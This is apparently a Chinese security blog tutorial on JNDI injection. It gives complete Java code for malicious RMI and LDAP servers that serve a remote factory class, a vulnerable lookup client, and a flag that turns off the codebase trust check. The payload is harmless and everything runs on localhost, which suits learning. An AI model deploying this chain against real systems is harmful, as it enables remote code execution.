[Java安全] JNDI注入基础

本文记录有关JNDI注入的基础学习,后续会进一步学习高版本的绕过

JNDI结构

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端

image-20221027211045595

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context:,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JDK里提供了5个包,以供JNDI进行功能的实现

1
2
3
4
5
6
7
8
9
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

目录中的存储对象

官网文档给出定义

  1. Java serializable objects
  2. Referenceable objects and JNDI References
  3. Objects with attributes (DirContext)
  4. RMI objects
  5. CORBA objects

比较常见的是 References引用对象RMI远程对象

InitialContext - 上下文

构造方法:

1
2
3
4
5
6
//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - 引用

Reference 类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化

构造方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

示例:

调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject

image-20221021144137457

前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下

JNDIServer.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080";
      	// 注册中心创建
        Registry registry = LocateRegistry.createRegistry(1099);
      	// 应用创建
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
      	// 命名绑定
        registry.bind("aa",referenceWrapper);
    }
}

JNDI注入

JNDI注入利用过程如下:

  • 客户端程序调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup的时候,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,所以恶意类得实现ObjectFactory接口

JNDI & RMI

JNDI与RMI的配合是非常经典的,这里首先是做了个JNDI加载远程RMI对象

利用版本

JDK 6u1327u1228u113之前可以

RMI Object

总的流程是这样

image-20221028113759393

首先把RMI的服务搭建好,先定义一个Evil接口,继承Remote

1
2
3
4
5
6
7
8
9
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Evil extends Remote {
    public String hello() throws RemoteException;
}

然后创建一个类,继承UnicastRemoteObject,实现刚刚我们做的接口,创建一个hello方法来做测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class EvilObj extends UnicastRemoteObject implements Evil{
    protected EvilObj() throws RemoteException {
    }

    @Override
    public String hello() throws RemoteException {
        return "Hello Hacker!";
    }
}

然后我们实现一个RMI的Server,绑定我们的EvilObj,命名为hello

这里也可以写rmi://127.0.0.1:1099/hello

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package RMI;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        //创建注册中心
        LocateRegistry.createRegistry(1099);
        //创建远程对象
        EvilObj rmiObject = new EvilObj();
        // 绑定name
        Naming.bind("hello", rmiObject);
    }
}

那么下一步就是JNDI的Server建立了,由于我这里已经使用了RMI服务,而且里面注册的对象是实现了Remote且继承UnicastRemoteObject类,所以这里不需要再ReferenceWrapper包装了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package RMI;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;


public class JNDIRMIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        // 上下文创建
        InitialContext context = new InitialContext();
        // 上下文命名绑定RMI
        context.bind("rmi://127.0.0.1:1099/Hello",new EvilObj());
    }
}

最后是我们的JNDI客户端,一般也是受害端

lookup返回的值要强制转为接口类型,否则报错

Exception in thread “main” java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to RMI.EvilObj

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package RMI;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMICilent {
    public static void main(String[] args) throws NamingException, RemoteException {
        // 上下文创建
        InitialContext context = new InitialContext();
        Evil obj = (Evil) context.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(obj.hello());
    }
}

然后把RMI服务打开,JNDI服务打开,在执行我们的JNDI客户端就完成了EvilObj的加载与执行

image-20221027233130862

References引用对象

这里再来实现一个References引用对象的例子

image-20221028115108761

首先是恶意类的创建,实现ObjectFactory接口,把恶意代码写在getObjectInstance里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {
    static {
        System.out.println("Hello static!");
    }
    public EvilObj(){
        System.out.println("Hello constructor!");
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("Hello getObjectInstance!");
        return null;
    }
}

然后是服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package RMI2;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建注册中心
        Registry registry = LocateRegistry.createRegistry(1099);
        // 恶意类所在的web地址目录
        String factoryUrl = "http://localhost:1098/";
        // 创建Reference对象引用,指向恶意类地址
        Reference reference = new Reference("EvilObj","EvilObj", factoryUrl);
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        // 绑定Name
        registry.bind("Hello", wrapper);
    }
}

最后是客户端了,这里就创建一个上下文,然后lookup指向rmi://127.0.0.1:1009/Hello

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package RMI2;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMICilent {
    public static void main(String[] args) throws NamingException {
        // 创建上下文
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/Hello");
    }
}

然后我们编译一下我们的EvilObj,再开启一个web服务即可

image-20221028012036419

运行一下,会发现是报错的(这里我用的jdk8u211)

Exception in thread “main” javax.naming.ConfigurationException: The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.

原因是JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码

可以通过修改修改jdk版本,或者运行时需加入参数

1
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

然后在执行就能成功加载到远程Class

image-20221028015608503

注意:恶意类如果定义了软件包,会导致报错执行不了

Exception in thread “main” java.lang.NoClassDefFoundError: EvilObj (wrong name: RMI2/EvilObj)

JNDI & LDAP

利用版本:

JDK 11.0.18u1917u2016u211之前可以

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议

LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL中的协议换成ldap://,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象

攻击过程

攻击过程如下:

  1. 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
  2. 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
  3. 服务器解码JNDI引用
  4. 服务器从攻击者控制的服务器获取Factory类
  5. 服务器实例化Factory类
  6. 有效载荷得到执行

首先是依赖的引入

1
2
3
4
5
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>

LdapServer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:9999/#EvilObj";
        int port = 39654;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }


    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

}

LdapClient

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;

public class LdapClient {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:39654/aaa";
        Context context = new InitialContext();
        context.lookup(url);
    }
}

运行结果:

从ldap服务器请求到恶意类

image-20221104015049637

成功加载到恶意类

image-20221104014943366

后记

对于RMI和LDAP的注入,都存在一个问题,就是无法直接运行到高版本

  • 对于RMI:

JDK 6u132, JDK 7u122, JDK 8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码

  • 对于LDAP

在Oracle JDK 6u211、7u201、8u191、11.0.1之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制

参考链接:

https://paper.seebug.org/1207/

https://paper.seebug.org/1091/

https://tttang.com/archive/1611/

https://ego00.blog.csdn.net/article/details/120048519

https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

Licensed under CC BY-NC-SA 4.0